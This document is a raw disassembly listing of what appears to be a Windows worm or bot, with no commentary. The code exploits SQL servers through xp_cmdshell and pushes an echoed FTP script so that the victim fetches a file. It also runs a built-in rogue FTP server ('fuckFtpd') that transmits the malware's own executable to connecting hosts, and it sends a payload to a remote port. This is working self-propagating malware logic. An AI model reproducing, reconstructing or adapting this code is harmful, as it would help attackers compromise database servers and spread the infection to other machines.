		mov	eax, offset off_42C438
		mov	esi, eax


loc_404F6A:				; CODE XREF: sub_404EC7+118j
		lea	ecx, [ebp+var_1]
		push	ecx
		push	dword ptr [eax]
		mov	eax, [ebp+var_C]
		push	dword ptr [eax]
		lea	eax, [ebp+arg_4]
		push	[ebp+arg_A0]
		push	eax
		lea	eax, [ebp+var_A2C]
		push	offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
		push	eax
		call	sub_415316
		add	esp, 1Ch
		lea	eax, [ebp+var_1A]
		push	0
		push	eax
		lea	eax, [ebp+var_E2C]
		push	400h
		push	eax
		lea	eax, [ebp+var_A2C]
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A2C]
		push	eax
		push	0
		push	[ebp+var_10]
		call	dword_43C590
		test	ax, ax
		jz	short loc_404FE6
		cmp	ax, 1
		jz	short loc_404FE6
		push	1F4h
		call	edi	; Sleep
		add	esi, 4
		mov	eax, esi
		cmp	dword ptr [esi], 0
		jnz	short loc_404F6A
		jmp	loc_405080
; ---------------------------------------------------------------------------


loc_404FE6:				; CODE XREF: sub_404EC7+101j
					; sub_404EC7+107j
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_10]
		push	3
		call	dword_43C4D8
		push	ebx
		push	ebx
		call	sub_415372
		push	eax
		call	sub_415372
		push	eax
		push	dword_43B1A0
		push	[ebp+arg_0]
		call	sub_40A08A
		pop	ecx
		push	eax
		lea	eax, [ebp+var_62C]
		push	offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"...
		push	eax
		call	sub_415316
		add	esp, 20h
		lea	eax, [ebp+var_62C]
		push	0FFFFFFFDh
		push	eax
		push	[ebp+var_8]
		call	dword_43C518
		test	ax, ax
		jz	short loc_405075
		mov	esi, 1388h
		push	esi
		call	edi	; Sleep
		push	ebx
		lea	eax, [ebp+var_62C]
		push	offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'"
		push	eax
		call	sub_415316
		add	esp, 0Ch
		lea	eax, [ebp+var_62C]
		push	0FFFFFFFDh
		push	eax
		push	[ebp+var_8]
		call	dword_43C518
		test	ax, ax
		jz	short loc_405093
		push	esi
		call	edi	; Sleep


loc_405075:				; CODE XREF: sub_404EC7+175j
		push	[ebp+var_8]
		push	3
		call	dword_43C570


loc_405080:				; CODE XREF: sub_404EC7+11Aj
		xor	esi, esi


loc_405082:				; CODE XREF: sub_404EC7+96j
		add	[ebp+var_C], 4
		mov	eax, [ebp+var_C]
		cmp	[eax], esi
		jnz	loc_404F57
		jmp	short loc_4050DF
; ---------------------------------------------------------------------------


loc_405093:				; CODE XREF: sub_404EC7+1A9j
		cmp	[ebp+arg_B4], 0
		mov	[ebp+var_18], 1
		jnz	short loc_4050C1
		push	0
		lea	eax, [ebp+var_22C]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_4050C1:				; CODE XREF: sub_404EC7+1DAj
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_40B078
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		lea	eax, dword_427390[eax]
		inc	dword ptr [eax]


loc_4050DF:				; CODE XREF: sub_404EC7+1CAj
		push	[ebp+var_10]
		push	2
		call	dword_43C570
		mov	esi, [ebp+var_18]
		pop	edi
		pop	ebx


loc_4050EF:				; CODE XREF: sub_404EC7+77j
		push	[ebp+var_14]
		push	1
		call	dword_43C570
		mov	eax, esi


loc_4050FC:				; CODE XREF: sub_404EC7+60j
		pop	esi
		leave
		retn
sub_404EC7	endp

; ---------------------------------------------------------------------------
		push	esi
		push	edi
		sub	esp, 0BCh
		lea	esi, [esp+0C8h]
		mov	dword ptr [esp+168h], 599h
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_404EC7
		push	2Fh
		lea	esi, [esp+0CCh]
		pop	ecx
		mov	dword ptr [esp+168h], 1BDh
		mov	edi, esp
		rep movsd
		call	sub_403C74
		add	esp, 0BCh
		xor	eax, eax
		inc	eax
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40514F	proc near		; CODE XREF: seg001:0040534Dp

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43C594
		mov	[ebp+var_C], eax
		mov	ax, word_426744
		push	eax
		call	dword_43C554
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_43C5D4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_405268
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43C4FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_405268
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43C56C
		mov	esi, offset byte_42C2BC
		push	esi
		push	esi
		push	dword_43B1A0
		push	[ebp+arg_0]
		call	sub_40A08A
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43C5A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405268
		push	1F4h
		call	dword_421060	; Sleep
		push	esi
		push	offset dword_425090
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43C5A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40526C


loc_405268:				; CODE XREF: sub_40514F+51j
					; sub_40514F+67j ...
		xor	al, al
		jmp	short loc_40528A
; ---------------------------------------------------------------------------


loc_40526C:				; CODE XREF: sub_40514F+117j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43C56C
		push	ebx
		call	dword_43C5EC
		mov	al, 1


loc_40528A:				; CODE XREF: sub_40514F+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40514F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		call	dword_4211CC	; gethostbyname
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4052B9
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4211DC	; inet_addr
		mov	ebx, eax
		jmp	short loc_4052BF
; ---------------------------------------------------------------------------


loc_4052B9:				; CODE XREF: seg001:004052A9j
		mov	ebx, [ebp+0C0h]


loc_4052BF:				; CODE XREF: seg001:004052B7j
		push	11h
		push	2
		push	2
		call	dword_4211E4	; socket
		test	esi, esi
		mov	edi, eax
		jz	short loc_4052E9
		movsx	eax, word ptr [esi+0Ah]
		push	eax
		mov	eax, [esi+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_4153F0
		add	esp, 0Ch
		jmp	short loc_4052EC
; ---------------------------------------------------------------------------


loc_4052E9:				; CODE XREF: seg001:004052CFj
		mov	[ebp-0Ch], ebx


loc_4052EC:				; CODE XREF: seg001:004052E7j
		test	esi, esi
		jz	short loc_4052FA
		mov	ax, [esi+8]
		mov	[ebp-10h], ax
		jmp	short loc_405300
; ---------------------------------------------------------------------------


loc_4052FA:				; CODE XREF: seg001:004052EEj
		mov	word ptr [ebp-10h], 2


loc_405300:				; CODE XREF: seg001:004052F8j
		push	598h
		call	dword_4211E0	; htons
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	edi
		call	dword_4211E8	; connect
		test	eax, eax
		jnz	short loc_405381
		push	eax
		push	152h
		push	offset dword_4265F0
		push	edi
		call	dword_4211F0	; send
		push	3E8h
		call	dword_421060	; Sleep
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40514F
		add	esp, 0BCh
		test	al, al
		jz	short loc_405361
		xor	eax, eax
		inc	eax
		jmp	short loc_405393
; ---------------------------------------------------------------------------


loc_405361:				; CODE XREF: seg001:0040535Aj
		lea	eax, [ebp-210h]
		push	eax
		call	sub_40B078
		mov	eax, [ebp+0B0h]
		pop	ecx
		imul	eax, 3Ch
		lea	eax, dword_427390[eax]
		inc	dword ptr [eax]
		jmp	short loc_405391
; ---------------------------------------------------------------------------


loc_405381:				; CODE XREF: seg001:0040531Ej
		push	1
		push	edi
		call	dword_4211D0	; shutdown
		push	edi
		call	dword_4211F4	; closesocket


loc_405391:				; CODE XREF: seg001:0040537Fj
		xor	eax, eax


loc_405393:				; CODE XREF: seg001:0040535Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405398	proc near		; DATA XREF: sub_4071B6+227o

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_134		= byte ptr -134h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6DC]
		inc	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A6C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_24], ebx
		mov	[ebp+var_28], ebx
		mov	[ebp+var_238], edi
		mov	[ebp+var_438], edi
		call	dword_4211B4	; WSAStartup
		push	edi
		call	sub_41697B
		push	eax
		call	sub_415368
		push	0FA00h
		push	471h
		call	sub_413F12
		add	esp, 10h
		mov	dword_43B1A0, eax
		push	edi
		push	ebx
		push	2
		call	dword_4211E4	; socket
		mov	esi, eax
		lea	eax, [ebp+var_24]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		call	dword_4211B8	; setsockopt
		lea	eax, [ebp+var_28]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4211BC	; ioctlsocket
		mov	ax, word ptr dword_43B1A0
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		call	dword_4211E0	; htons
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		call	dword_4211C0	; bind
		test	eax, eax
		jge	short loc_40546D
		mov	eax, ebx
		jmp	loc_405978
; ---------------------------------------------------------------------------


loc_40546D:				; CODE XREF: sub_405398+CCj
		push	0Ah
		push	esi
		call	dword_4211C4	; listen
		mov	[ebp+var_238], ebx
		mov	ebx, dword_4211F0
		mov	[ebp+var_234], esi
		mov	[ebp+var_4], esi


loc_40548B:				; CODE XREF: sub_405398+12Aj
					; sub_405398+5D8j
		push	41h
		lea	esi, [ebp+var_238]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	edi, edi
		lea	eax, [ebp+var_438]
		push	edi
		push	edi
		push	edi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	dword_4211D4	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_405975
		cmp	[ebp+var_4], edi
		mov	[ebp+arg_0], edi
		jl	short loc_40548B


loc_4054C4:				; CODE XREF: sub_405398+5D2j
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_415390
		push	64h
		lea	eax, [ebp+var_AC]
		push	esi
		push	eax
		call	sub_415390
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_420A06	; __WSAFDIsSet
		test	eax, eax
		jz	loc_405963
		cmp	edi, [ebp+var_C]
		jnz	short loc_40556D
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_134]
		push	eax
		push	[ebp+var_C]
		call	dword_4211C8	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_405963
		mov	edx, [ebp+var_238]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_40553F


loc_405531:				; CODE XREF: sub_405398+1A5j
		cmp	[ebp+ecx*4+var_234], eax
		jz	short loc_40553F
		inc	ecx
		cmp	ecx, edx
		jb	short loc_405531


loc_40553F:				; CODE XREF: sub_405398+197j
					; sub_405398+1A0j
		cmp	ecx, edx
		jnz	short loc_405555
		cmp	edx, 40h
		jnb	short loc_405555
		mov	[ebp+ecx*4+var_234], eax
		inc	[ebp+var_238]


loc_405555:				; CODE XREF: sub_405398+1A9j
					; sub_405398+1AEj
		cmp	eax, [ebp+var_4]
		jle	short loc_40555D
		mov	[ebp+var_4], eax


loc_40555D:				; CODE XREF: sub_405398+1C0j
		push	esi
		push	15h
		push	offset a220Fuckftpd0wn ; "220 fuckFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_405963
; ---------------------------------------------------------------------------


loc_40556D:				; CODE XREF: sub_405398+167j
		push	esi
		lea	eax, [ebp+var_29C]
		push	64h
		push	eax
		push	edi
		call	dword_4211EC	; recv
		test	eax, eax
		jg	short loc_4055CA
		mov	ecx, [ebp+var_238]
		xor	eax, eax
		cmp	ecx, esi
		jbe	short loc_4055BE


loc_40558E:				; CODE XREF: sub_405398+202j
		cmp	[ebp+eax*4+var_234], edi
		jz	short loc_4055B3
		inc	eax
		cmp	eax, ecx
		jb	short loc_40558E
		jmp	short loc_4055BE
; ---------------------------------------------------------------------------


loc_40559E:				; CODE XREF: sub_405398+21Ej
		mov	ecx, [ebp+eax*4+var_230]
		mov	[ebp+eax*4+var_234], ecx
		mov	ecx, [ebp+var_238]
		inc	eax


loc_4055B3:				; CODE XREF: sub_405398+1FDj
		dec	ecx
		cmp	eax, ecx
		jb	short loc_40559E
		dec	[ebp+var_238]


loc_4055BE:				; CODE XREF: sub_405398+1F4j
					; sub_405398+204j
		push	edi
		call	dword_4211F4	; closesocket
		jmp	loc_405963
; ---------------------------------------------------------------------------


loc_4055CA:				; CODE XREF: sub_405398+1E8j
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aSS	; "%s %s"
		push	eax
		call	sub_416947
		lea	eax, [ebp+var_AC]
		push	offset aUser_0	; "USER"
		push	eax
		call	sub_415730
		add	esp, 18h
		test	eax, eax
		jnz	short loc_40560E
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_40594E
; ---------------------------------------------------------------------------


loc_40560E:				; CODE XREF: sub_405398+267j
		lea	eax, [ebp+var_AC]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405632
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_40594E
; ---------------------------------------------------------------------------


loc_405632:				; CODE XREF: sub_405398+28Bj
		lea	eax, [ebp+var_AC]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405656
		push	esi
		push	0Dh
		push	offset a215Fuckftpd ; "215 fuckFtpd\n"
		jmp	loc_40594E
; ---------------------------------------------------------------------------


loc_405656:				; CODE XREF: sub_405398+2AFj
		lea	eax, [ebp+var_AC]
		push	offset aRest	; "REST"
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40567A
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_40594E
; ---------------------------------------------------------------------------


loc_40567A:				; CODE XREF: sub_405398+2D3j
		lea	eax, [ebp+var_AC]
		push	offset off_42694C
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40569E
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_40594E
; ---------------------------------------------------------------------------


loc_40569E:				; CODE XREF: sub_405398+2F7j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056D9
		lea	eax, [ebp+var_334]
		push	offset aA	; "A"
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056D9
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_40594E
; ---------------------------------------------------------------------------


loc_4056D9:				; CODE XREF: sub_405398+31Bj
					; sub_405398+332j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405714
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405714
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_40594E
; ---------------------------------------------------------------------------


loc_405714:				; CODE XREF: sub_405398+356j
					; sub_405398+36Dj
		lea	eax, [ebp+var_AC]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405762
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		movsw
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_124]


loc_405752:				; CODE XREF: sub_405398+409j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		jmp	loc_405951
; ---------------------------------------------------------------------------


loc_405762:				; CODE XREF: sub_405398+391j
		lea	eax, [ebp+var_AC]
		push	offset aList	; "LIST"
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057A3
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		movsb
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_405752
; ---------------------------------------------------------------------------


loc_4057A3:				; CODE XREF: sub_405398+3DFj
		lea	eax, [ebp+var_AC]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405874
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_416947
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41587F
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_41587F
		mov	[ebp+arg_0], eax
		push	32h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_415390
		push	[ebp+arg_0]
		lea	eax, [ebp+var_F8]
		push	[ebp+var_8]
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_415316
		add	esp, 44h
		lea	eax, [ebp+var_F8]
		push	10h
		push	esi
		push	eax
		call	sub_416930
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_415316
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		jmp	loc_40594E
; ---------------------------------------------------------------------------


loc_405874:				; CODE XREF: sub_405398+420j
		lea	eax, [ebp+var_AC]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40592F
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_40597F
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_405925
		call	sub_4059FC
		cmp	eax, 1
		jnz	loc_405951
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_6D8]
		push	eax
		lea	eax, [ebp+var_48]
		push	dword_43B1A0
		push	eax
		lea	eax, [ebp+var_8DC]
		push	offset dword_426790
		push	eax
		call	sub_415316
		add	esp, 14h
		cmp	[ebp+var_440], esi
		jnz	short loc_405916
		push	esi
		lea	eax, [ebp+var_8DC]
		push	[ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		push	[ebp+var_6DC]
		call	sub_412BD1
		add	esp, 14h


loc_405916:				; CODE XREF: sub_405398+559j
		lea	eax, [ebp+var_8DC]
		push	eax
		call	sub_40B078
		pop	ecx
		jmp	short loc_405951
; ---------------------------------------------------------------------------


loc_405925:				; CODE XREF: sub_405398+513j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_40594E
; ---------------------------------------------------------------------------


loc_40592F:				; CODE XREF: sub_405398+4F1j
		lea	eax, [ebp+var_AC]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405951
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_40594E:				; CODE XREF: sub_405398+271j
					; sub_405398+295j ...
		push	edi
		call	ebx	; send


loc_405951:				; CODE XREF: sub_405398+3C5j
					; sub_405398+51Dj ...
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_415390
		add	esp, 0Ch


loc_405963:				; CODE XREF: sub_405398+15Ej
					; sub_405398+187j ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_4054C4
		jmp	loc_40548B
; ---------------------------------------------------------------------------


loc_405975:				; CODE XREF: sub_405398+11Ej
		xor	eax, eax
		inc	eax


loc_405978:				; CODE XREF: sub_405398+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_405398	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40597F	proc near		; CODE XREF: sub_405398+509p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	dword_4211B4	; WSAStartup
		push	0
		push	1
		push	2
		call	dword_4211E4	; socket
		push	[ebp+arg_0]
		mov	dword_43B19C, eax
		mov	[ebp+var_10], 2
		call	dword_4211DC	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	dword_4211E0	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_43B19C
		call	dword_4211E8	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4059F7
		push	dword_43B19C
		call	dword_4211F4	; closesocket
		call	dword_4211B0	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4059F7:				; CODE XREF: sub_40597F+60j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_40597F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4059FC	proc near		; CODE XREF: sub_405398+515p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	dword_42107C	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_415A08
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_405A93
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_405A77
		push	edi
		mov	edi, 400h


loc_405A3F:				; CODE XREF: sub_4059FC+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_416A57
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_43B19C
		call	dword_4211F0	; send
		push	1
		call	dword_421060	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_405A3F
		pop	edi


loc_405A77:				; CODE XREF: sub_4059FC+3Bj
		push	esi
		call	sub_415960
		pop	ecx
		push	dword_43B19C
		call	dword_4211F4	; closesocket
		call	dword_4211B0	; WSACleanup
		xor	eax, eax
		inc	eax


loc_405A93:				; CODE XREF: sub_4059FC+35j
		pop	esi
		leave
		retn
sub_4059FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A96	proc near		; DATA XREF: sub_4071B6+333o
					; sub_40CD3A+5007o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= byte ptr -138h
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_415B90
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		xor	ebx, ebx
		rep movsd
		xor	esi, esi
		push	10h
		inc	esi
		push	ebx
		mov	[eax+3ACh], esi
		lea	eax, [ebp+var_24]
		push	eax
		mov	[ebp+var_14], esi
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_43C554
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_43C5D4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_405E5C
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_4416D4[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43C580
		cmp	eax, 0FFFFFFFFh
		jz	loc_405E5C
		push	7FFFFFFFh
		push	edi
		call	dword_43C57C
		cmp	eax, 0FFFFFFFFh
		jz	loc_405E5C
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_43C5F0
		cmp	eax, 0FFFFFFFFh
		jz	loc_405E5C
		mov	ebx, esi
		mov	[ebp+var_124], edi
		mov	[ebp+var_128], ebx
		mov	[ebp+var_4], edi


loc_405B6D:				; CODE XREF: sub_405A96+3BCj
		push	41h
		xor	eax, eax
